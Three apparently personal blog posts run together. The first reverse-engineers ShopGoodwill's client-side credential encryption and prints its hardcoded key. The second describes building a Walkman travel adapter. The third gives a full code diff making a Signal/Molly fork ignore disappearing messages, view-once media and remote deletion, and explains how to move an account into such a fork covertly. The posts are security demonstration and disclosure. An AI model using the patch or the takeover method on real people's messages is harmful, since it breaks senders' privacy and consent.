<p>When I started writing “bid_sniper”, I of course recognized that I needed to log in programmatically. So, I fired up my browser’s network console and sent my credentials to their login page. And… that’s weird. It’s a simple REST login endpoint, but it looks like the username and password are encoded. Of course, the encoded credentials shown here aren’t valid.</p>
<figure class="highlight"><pre><code class="language-plaintext" data-lang="plaintext">POST https://buyerapi.shopgoodwill.com/api/SignIn/Login</code></pre></figure>
<figure class="highlight"><pre><code class="language-json" data-lang="json"><span class="p">{</span><span class="w">
</span><span class="nl">"userName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"%2BTYKS7w6YCrMchyAyT6vYXNwPJuDVIfyUsoKLNLWkfiPl%2BQjBFuXg7jY8VCFiREf"</span><span class="p">,</span><span class="w">
</span><span class="nl">"password"</span><span class="p">:</span><span class="w"> </span><span class="s2">"cdmW%2B4ZNN4VMUAHGO4JJofvxZ9CYnBuylzBMVoc0pU0SWMxposFd%2BZam2Lnu2Pny"</span><span class="p">,</span><span class="w">
</span><span class="nl">"remember"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
</span><span class="nl">"appVersion"</span><span class="p">:</span><span class="w"> </span><span class="s2">"00099a1be3bb023ff17d"</span><span class="p">,</span><span class="w">
</span><span class="nl">"clientIpAddress"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0.0.0.4"</span><span class="p">,</span><span class="w">
</span><span class="nl">"browser"</span><span class="p">:</span><span class="w"> </span><span class="s2">"firefox"</span><span class="w">
</span><span class="p">}</span></code></pre></figure>
<p>Hmm, ok, no trailing equals sign, and there’s a % in the username, so I guess it’s not base64 encoded. What the hell is going on here? And why? Also, I’m just not going to question how “clientIpAddress” is sourced or used. Seems broken, and I don’t care.</p>
<p>So, first off, I tried logging in several times with the same credentials. The output was consistent, and all authentication attempts succeeded. So I assume that it’s using some non-standard encoding scheme that I’m not aware of.</p>
<p>I have to note, at this point, there’s no need for me to figure out what’s going on here. I <em>can</em> log in programmatically, I’ll just have to get my encoded credentials from the site before I can plug them into my config file. But that’s no fun.</p>
<p>When loading <a href="https://shopgoodwill.com/signin">the sign-in page</a>, I see six JavaScript scripts being downloaded - four of which from shopgoodwill.com. Let’s start with those.</p>
<figure class="highlight"><pre><code class="language-plaintext" data-lang="plaintext">https://cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.0.3/cookieconsent.min.js
https://js.braintreegateway.com/web/dropin/1.30.1/js/dropin.min.js
https://shopgoodwill.com/runtime.13783a388351b026ceca.js
https://shopgoodwill.com/polyfills.9c38c3242fc36df5a877.js
https://shopgoodwill.com/scripts.6680d0d6cb00153f6d71.js
https://shopgoodwill.com/main.00099a1be3bb023ff17d.js</code></pre></figure>
<p>“main.js” is the largest script by far - 1.63 MB compared the rest, which are all smaller than 200 kB. What’s in it? A lot, it turns out. So, as you do, I downloaded and prettified it. It’s still minified, but there’s a lot of useful stuff we can figure out without having to reverse most of it.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">grep</span> <span class="nt">-i</span> username</code></pre></figure>
<figure class="highlight"><pre><code class="language-js" data-lang="js"><span class="c1">// skipping a bunch of garbage results</span>
<span class="k">this</span><span class="p">.</span><span class="nx">userLoginRequestModel</span><span class="p">.</span><span class="nx">userName</span> <span class="o">=</span>
<span class="k">this</span><span class="p">.</span><span class="nx">commonService</span><span class="p">.</span><span class="nx">encryptModelValue</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">userLoginRequestModel</span><span class="p">.</span><span class="nx">userName</span><span class="p">)</span></code></pre></figure>
<p><em>Ok</em>… “encryption”, huh? Searching for “encryptModelValue” eventually brought me to this fun block of code.</p>
<figure class="highlight"><pre><code class="language-js" data-lang="js"><span class="nx">e</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">encryptModelValue</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">t</span> <span class="o">=</span> <span class="nx">r</span><span class="p">.</span><span class="nx">enc</span><span class="p">.</span><span class="nx">Utf8</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">encryptSecretKeyURL</span><span class="p">),</span>
<span class="nx">n</span> <span class="o">=</span> <span class="nx">r</span><span class="p">.</span><span class="nx">enc</span><span class="p">.</span><span class="nx">Utf8</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="dl">"</span><span class="s2">0000000000000000</span><span class="dl">"</span><span class="p">),</span>
<span class="nx">i</span> <span class="o">=</span> <span class="nx">r</span><span class="p">.</span><span class="nx">AES</span><span class="p">.</span><span class="nx">encrypt</span><span class="p">(</span><span class="nx">r</span><span class="p">.</span><span class="nx">enc</span><span class="p">.</span><span class="nx">Utf8</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">e</span><span class="p">),</span> <span class="nx">t</span><span class="p">,</span> <span class="p">{</span>
<span class="na">iv</span><span class="p">:</span> <span class="nx">n</span><span class="p">,</span>
<span class="na">padding</span><span class="p">:</span> <span class="nx">r</span><span class="p">.</span><span class="nx">pad</span><span class="p">.</span><span class="nx">Pkcs7</span><span class="p">,</span>
<span class="na">mode</span><span class="p">:</span> <span class="nx">r</span><span class="p">.</span><span class="nx">mode</span><span class="p">.</span><span class="nx">CBC</span>
<span class="p">}).</span><span class="nx">toString</span><span class="p">();</span>
<span class="k">return</span> <span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">i</span><span class="p">)</span>
<span class="p">}</span></code></pre></figure>
<p>Nice IV. Even with obfuscated variable names, this is pretty readable. Given “e”, the plaintext value, the function encrypts it (after being URL-encoded) with some secret key and a useless IV with AES-CBC.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">grep </span>encryptSecretKeyURL
this.encryptSecretKeyURL <span class="o">=</span> a.a.secretKeyURL
<span class="nv">$ </span><span class="nb">grep </span>secretKey
e.secretKey <span class="o">=</span> <span class="s2">"0123456789123456"</span>
e.secretKeyURL <span class="o">=</span> <span class="s2">"6696D2E6F042FEC4D6E3F32AD541143B"</span></code></pre></figure>
<p>Another great choice for a random value. Cool! Lets see if either of them work. Turns out the second one was valid, as expected. You can see my Python implementation <a href="https://github.com/scottmconway/shopgoodwill-scripts/blob/main/shopgoodwill.py#L78">here</a>.</p>
<p>So, with the mystery solved, I have to ask - <em>why</em>? Why are they doing this? What benefit does “encryption” like this add at all, if any? Whatever the answer, it’ll just be conjecture. I’ve seen many other questionable things in the ShopGoodwill API that made me gauge the competency of the designers - see my comments in the <a href="https://github.com/scottmconway/shopgoodwill-scripts">aforementioned Github repo</a> if you’re looking for examples.</p>
<!-- # Appendix
[^creds]: Of course, these aren't valid credentials
[^smell]: See my comments in the aforementioned Github repo if you're looking for examples -->
Making a Custom Travel Adapter for My Walkman2022-01-13T00:00:00+00:00https://conway.scot/custom_walkman_travel_adapter<p>Although the Sony NW-A45 is a relatively new device (released in 2016), at its release, Sony still had yet to figure out that USB-C was the way of the future. Instead, it shipped with the long-standing proprietary Sony WM-PORT connector. It’s used for charging, data transfer, and <a href="https://web.archive.org/web/20210127174843/https://www.rockbox.org/wiki/SonyWMPort">more</a>. Last year, I went on a week-long trip with the device, but decided against bringing a WM-PORT to USB cable, since I’d likely not consume the battery’s charge in that time. I was correct, and I was just fine without the charger. However, it made me realize that I’d much rather have a WM-PORT to microUSB or USB-C dongle as opposed to a WM-PORT to USB cable when going on longer trips. It feels a bit silly to carry a whole cable with you if you’re only going to use it once a week or so. I quickly found the now discontinued <a href="https://web.archive.org/web/20210128150137/https://www.gami-log.com/entry/2018/05/06/081333">Sony WMP-NWM10</a>, which is <em>exactly</em> what I was looking for to solve this problem. However, I suppose audiophiles will be audiophiles… As of late 2021, this connector that had an MSRP of ~$12 was selling for more than $100 on ebay.</p>
<p>As noted on <a href="https://old.reddit.com/r/sony/comments/i4ygco/anyone_know_why_wmport_adapters_are_so_insanely/">/r/sony</a>, knock-off WM-PORT to USB-A cables are cheap. They’re the same connector as the WMP-NWM10, just with a different gender/specification on the USB end. I just so happened to have a few WM-PORT to USB-A cables lying around, so I decided to mock up my own travel adapter. But to get with the times, it has USB-C on the USB end. If you’re interested in making your own travel adapter, I’ll leave specifics on what I used at the end of this post.</p>
<p>So in case you’re wondering what a cheap WM-PORT to USB-A cable looks like, here’s one:
<img src="/assets/images/custom-walkman-travel-adapter/01.jpg" alt="Cheap Cable" /></p>
<p>Although I want to be quick to call out the soldering, I certainly wasn’t up to the task of re-soldering those connections by hand. Another thing that’s worth calling out is how easy it would be for a few of the pins to short. When the cable was in a single piece, the strain relief would (hopefully) prevent that from occurring. But where we’re going, we don’t need strain relief.</p>
<p>I stripped the cable and cut the individual wires to the shortest length I was comfortable with. I then soldered them to the USB-C breakout board. Enjoy a horribly out of focus photo of the mess.
<img src="/assets/images/custom-walkman-travel-adapter/02.jpg" alt="Step One" /></p>
<p>Now, as I was doing this, my plan was to wrap the whole thing in electrical tape as a “housing” and call it done. A friend of mine in close proximity decided that he’d 3D model and print a simple plastic case for it, and that we could house the board, and fill the case with epoxy. That sounded a bit better than my original plan.</p>
<p>After printing, I inserted the board and filled the cavity with epoxy. It might not look pretty and the connectors might be noticeably askew, but it gets the job done.
<img src="/assets/images/custom-walkman-travel-adapter/03.jpg" alt="Step Two" /></p>
<p>I’ve yet to take it on any trips, but I have faith that it will hold up to mild damages or strain. The next step may be to cover it in electrical tape, anyway.</p>
<h3 id="resources">Resources</h3>
<ul>
<li><a href="https://smile.amazon.com/dp/B09KC1SMGD">USB-C breakout board</a></li>
<li><a href="https://web.archive.org/web/20210127174843/https://www.rockbox.org/wiki/SonyWMPort">WM-PORT pinout</a></li>
</ul>
Client-side Trust in Private Messaging Services2021-12-16T00:00:00+00:00https://conway.scot/evil_molly<p>I’ve been an avid user of <a href="https://signal.org/">Signal</a> for almost five years now. It’s a fantastic messaging platform, and brings end-to-end encryption to people that otherwise would not seek it out in a seamless fashion. A few years ago, Signal started to introduce client-side privacy features, including disappearing messages, view-once media, and remote message deletion. One commonality between these features is that the sender simply requests that the recipients deal with the message in a certain matter. If it’s a disappearing message, the recipients should delete the message after the configured amount of time. If it’s view-once media, it should be deleted after it has been been viewed by a given recipient. This sounds great in practice, but it’s not as if the recipients can be forced to heed the sender’s requests. Other messaging services (see: Snapchat) have monolithic terms of service that prohibit a user from using a 3rd-party client, and use obfuscation techniques to make it difficult to reverse engineer their applications. Although weaknesses can certainly be exploited in these applications to mitigate client-side privacy controls, most want to make it difficult for the “attacker”. With Signal and other FOSS messaging applications however, there can be no such enforcements. Everyone has access to the source code, and may fork it at their leisure. So, I did.</p>
<p>In actuality I ended up forking <a href="https://github.com/mollyim/mollyim-android">Molly</a>, a fork of Signal that focuses on device hardening. My intent was simple — I wanted to find a way to ignore the above client-side privacy features as a recipient (and not as a sender). In total, this only required 10 lines of changes, and it built on my first attempt. Functionality on this client was as you’d expect. If a “disappearing message” came in, the client simply ignored the timer attribute. Similarly, view-once media appears as regular media, and remote deletion requests do nothing whatsoever. Here’s the diff:</p>
<figure class="highlight"><pre><code class="language-diff" data-lang="diff"><span class="gh">diff --git a/app/src/main/java/org/thoughtcrime/securesms/database/MmsDatabase.java b/app/src/main/java/org/thoughtcrime/securesms/database/MmsDatabase.java
index f677feca5..db830fcc7 100644
</span><span class="gd">--- a/app/src/main/java/org/thoughtcrime/securesms/database/MmsDatabase.java
</span><span class="gi">+++ b/app/src/main/java/org/thoughtcrime/securesms/database/MmsDatabase.java
</span><span class="p">@@ -836,6 +836,8 @@</span> public class MmsDatabase extends MessageDatabase {
@Override
public void markAsRemoteDelete(long messageId) {
<span class="gi">+ // Don't honor remote delete requests
+ /*
</span> SQLiteDatabase db = databaseHelper.getSignalWritableDatabase();
long threadId;
<span class="p">@@ -864,6 +866,7 @@</span> public class MmsDatabase extends MessageDatabase {
} finally {
db.endTransaction();
}
<span class="gi">+ */
</span> ApplicationDependencies.getDatabaseObserver().notifyMessageUpdateObservers(new MessageId(messageId, true));
}
<span class="p">@@ -1323,8 +1326,8 @@</span> public class MmsDatabase extends MessageDatabase {
contentValues.put(DATE_RECEIVED, retrieved.isPushMessage() ? retrieved.getReceivedTimeMillis() : generatePduCompatTimestamp(retrieved.getReceivedTimeMillis()));
contentValues.put(PART_COUNT, retrieved.getAttachments().size());
contentValues.put(SUBSCRIPTION_ID, retrieved.getSubscriptionId());
<span class="gd">- contentValues.put(EXPIRES_IN, retrieved.getExpiresIn());
- contentValues.put(VIEW_ONCE, retrieved.isViewOnce() ? 1 : 0);
</span><span class="gi">+ contentValues.put(EXPIRES_IN, 0); // Don't honor disappearing messages
+ contentValues.put(VIEW_ONCE, 0); // Don't honor view-once media
</span> contentValues.put(READ, retrieved.isExpirationUpdate() ? 1 : 0);
contentValues.put(UNIDENTIFIED, retrieved.isUnidentified());
contentValues.put(SERVER_GUID, retrieved.getServerGuid());
<span class="gh">diff --git a/app/src/main/java/org/thoughtcrime/securesms/database/SmsDatabase.java b/app/src/main/java/org/thoughtcrime/securesms/database/SmsDatabase.java
index 3318ec6d5..af41ec39f 100644
</span><span class="gd">--- a/app/src/main/java/org/thoughtcrime/securesms/database/SmsDatabase.java
</span><span class="gi">+++ b/app/src/main/java/org/thoughtcrime/securesms/database/SmsDatabase.java
</span><span class="p">@@ -381,6 +381,8 @@</span> public class SmsDatabase extends MessageDatabase {
@Override
public void markAsRemoteDelete(long id) {
<span class="gi">+ // Don't honor remote delete requests
+ /*
</span> SQLiteDatabase db = databaseHelper.getSignalWritableDatabase();
long threadId;
<span class="p">@@ -402,7 +404,8 @@</span> public class SmsDatabase extends MessageDatabase {
} finally {
db.endTransaction();
}
<span class="gd">- notifyConversationListeners(threadId);
</span><span class="gi">+ */
+ notifyConversationListeners(getThreadIdForMessage(id));
</span> }
@Override
<span class="p">@@ -692,7 +695,8 @@</span> public class SmsDatabase extends MessageDatabase {
@Override
public @NonNull Pair<Long, Long> insertReceivedCall(@NonNull RecipientId address, long expiresIn, boolean isVideoOffer) {
<span class="gd">- return insertCallLog(address, isVideoOffer ? Types.INCOMING_VIDEO_CALL_TYPE : Types.INCOMING_AUDIO_CALL_TYPE, expiresIn, false, System.currentTimeMillis());
</span><span class="gi">+ // Don't honor disappearing timer for incoming calls
+ return insertCallLog(address, isVideoOffer ? Types.INCOMING_VIDEO_CALL_TYPE : Types.INCOMING_AUDIO_CALL_TYPE, 0, false, System.currentTimeMillis());
</span> }
@Override
<span class="p">@@ -702,7 +706,8 @@</span> public class SmsDatabase extends MessageDatabase {
@Override
public @NonNull Pair<Long, Long> insertMissedCall(@NonNull RecipientId address, long expiresIn, long timestamp, boolean isVideoOffer) {
<span class="gd">- return insertCallLog(address, isVideoOffer ? Types.MISSED_VIDEO_CALL_TYPE : Types.MISSED_AUDIO_CALL_TYPE, expiresIn, true, timestamp);
</span><span class="gi">+ // Don't honor disappearing timer for missed calls
+ return insertCallLog(address, isVideoOffer ? Types.MISSED_VIDEO_CALL_TYPE : Types.MISSED_AUDIO_CALL_TYPE, 0, true, timestamp);
</span> }
@Override
<span class="p">@@ -1160,7 +1165,7 @@</span> public class SmsDatabase extends MessageDatabase {
values.put(PROTOCOL, message.getProtocol());
values.put(READ, unread ? 0 : 1);
values.put(SUBSCRIPTION_ID, message.getSubscriptionId());
<span class="gd">- values.put(EXPIRES_IN, message.getExpiresIn());
</span><span class="gi">+ values.put(EXPIRES_IN, 0); // Don't honor incoming disappearing messages
</span> values.put(UNIDENTIFIED, message.isUnidentified());
if (!TextUtils.isEmpty(message.getPseudoSubject()))</code></pre></figure>
<p>Just to make this a <em>bit</em> harder for anyone looking to (ab)use an “evil client”, I won’t be releasing a build of these changes. Build it yourself, creep.</p>
<p>It’s worth noting that you wouldn’t have to re-register a Signal client to achieve this functionality. You could install Signal and an evil fork side-by-side, and copy Signal’s databases into the evil fork’s files, causing it to gain ownership of the Signal account without causing the account’s Safety Number to change. This would effectively allow a verified account to “become evil” without their safety number changing. Obviously, this requires <em>some</em> level of access to the mobile device running Signal, but is easily achievable on Android if the “attacker” has either root access or access to developer settings and adb.</p>
<p>Last, I don’t mean to discredit these or any other client-side privacy features - they’re great, and have a variety of use-cases for many users. <em>However</em>, as I’ve hopefully shown in this post, creating a client that simply ignores these rules is a trivial matter. When sending any message over any medium, you should assume that it will be recorded forever. If that’s a bit much for you to take in, you must have absolute trust in your conversation partners (and their messaging devices) to follow your privacy requests.</p>